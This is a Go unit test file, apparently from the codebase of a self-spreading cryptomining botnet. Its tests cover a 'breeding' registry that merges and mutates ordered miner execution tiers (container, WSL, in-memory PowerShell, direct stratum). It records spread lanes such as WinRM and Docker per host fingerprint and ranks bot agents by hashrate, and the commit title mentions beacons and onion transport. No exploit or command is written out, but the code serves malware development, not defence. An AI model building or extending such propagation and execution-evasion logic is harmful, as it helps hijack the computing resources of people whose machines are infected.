Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

server/internal/strategy/breeding_test.go

@@ -0,0 +1,116 @@
+package strategy
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestCrossbreedTierOrdersMergesParents(t *testing.T) {
+	order := CrossbreedTierOrders(
+		[]string{"container", "wsl", "cpu_inprocess"},
+		[]string{"wsl", "ps_inmemory", "stratum_direct"},
+		nil, nil,
+	)
+	if len(order) < 4 {
+		t.Fatalf("order too short: %v", order)
+	}
+	if order[0] != "container" {
+		t.Fatalf("expected crossover head from parent A, got %v", order)
+	}
+	seen := make(map[string]bool)
+	for _, tier := range order {
+		if seen[tier] {
+			t.Fatalf("duplicate tier %q in %v", tier, order)
+		}
+		seen[tier] = true
+	}
+	for _, want := range []string{"container", "wsl", "cpu_inprocess", "ps_inmemory", "stratum_direct"} {
+		if !seen[want] {
+			t.Fatalf("missing tier %q in %v", want, order)
+		}
+	}
+}
+
+func TestCrossbreedMutatesFailedTiers(t *testing.T) {
+	order := CrossbreedTierOrders(
+		[]string{"docker", "wsl", "cpu_inprocess"},
+		[]string{"container", "ps_inmemory", "cpu_inprocess"},
+		map[string]bool{"docker": true},
+		map[string]bool{"ps_inmemory": true},
+	)
+	if len(order) == 0 {
+		t.Fatal("empty bred order")
+	}
+	if order[0] == "docker" {
+		t.Fatalf("failed tier docker should be mutated away, got %v", order)
+	}
+	joined := strings.Join(order, ",")
+	if strings.Contains(joined, "ps_inmemory") {
+		t.Fatalf("failed tier ps_inmemory should be mutated away, got %v", order)
+	}
+}
+
+func TestBreedingRegistryRequiresDistinctLanes(t *testing.T) {
+	reg := NewBreedingRegistry()
+	fp := "windows|0|0|0|0|0|127.0.0"
+	_, bred := reg.RecordLaneWinner(LaneWinnerInput{
+		Fingerprint: fp, SpreadLane: "winrm",
+		TierOrder: []string{"container", "wsl"}, PeakHashrate: 500,
+	})
+	if bred {
+		t.Fatal("single lane should not breed")
+	}
+	if reg.LaneCount(fp) != 1 {
+		t.Fatalf("lane count = %d", reg.LaneCount(fp))
+	}
+}
+
+func TestBreedingRegistryCrossbreedsDistinctLanes(t *testing.T) {
+	reg := NewBreedingRegistry()
+	fp := "windows|0|0|0|0|0|127.0.0"
+	reg.RecordLaneWinner(LaneWinnerInput{
+		Fingerprint: fp, SpreadLane: "winrm", SourceAgentName: "worker-07",
+		TierOrder: []string{"container", "wsl", "cpu_inprocess"}, PeakHashrate: 900,
+		FailedTiers: map[string]bool{"docker": true},
+	})
+	bred, ok := reg.RecordLaneWinner(LaneWinnerInput{
+		Fingerprint: fp, SpreadLane: "docker", SourceAgentName: "worker-12",
+		TierOrder: []string{"wsl", "container", "ps_inmemory"}, PeakHashrate: 700,
+		FailedTiers: map[string]bool{"exe_subprocess": true},
+	})
+	if !ok {
+		t.Fatal("expected breed after second lane")
+	}
+	if len(bred.ParentLanes) != 2 || bred.ParentLanes[0] != "winrm" || bred.ParentLanes[1] != "docker" {
+		t.Fatalf("parent lanes = %v", bred.ParentLanes)
+	}
+	if len(bred.TierOrder) == 0 {
+		t.Fatal("empty bred tier order")
+	}
+
+	got, ok := reg.GetBred(fp)
+	if !ok {
+		t.Fatal("GetBred missed bred phenotype")
+	}
+	if len(got.TierOrder) != len(bred.TierOrder) {
+		t.Fatalf("stored bred = %v", got.TierOrder)
+	}
+	inh := got.ToInherited()
+	if !inh.GeneticBreed {
+		t.Fatal("expected genetic_breed flag")
+	}
+	if inh.SourceAgentName != "genetic_breed:worker-07+worker-12" {
+		t.Fatalf("source = %q", inh.SourceAgentName)
+	}
+}
+
+func TestFailedTierSetFromAttempts(t *testing.T) {
+	failed := FailedTierSet([]TierAttempt{
+		{Tier: "docker", OK: false},
+		{Tier: "wsl", OK: true},
+		{Tier: "exe_subprocess", OK: false},
+	})
+	if !failed["docker"] || !failed["exe_subprocess"] || failed["wsl"] {
+		t.Fatalf("unexpected failed set: %v", failed)
+	}
+}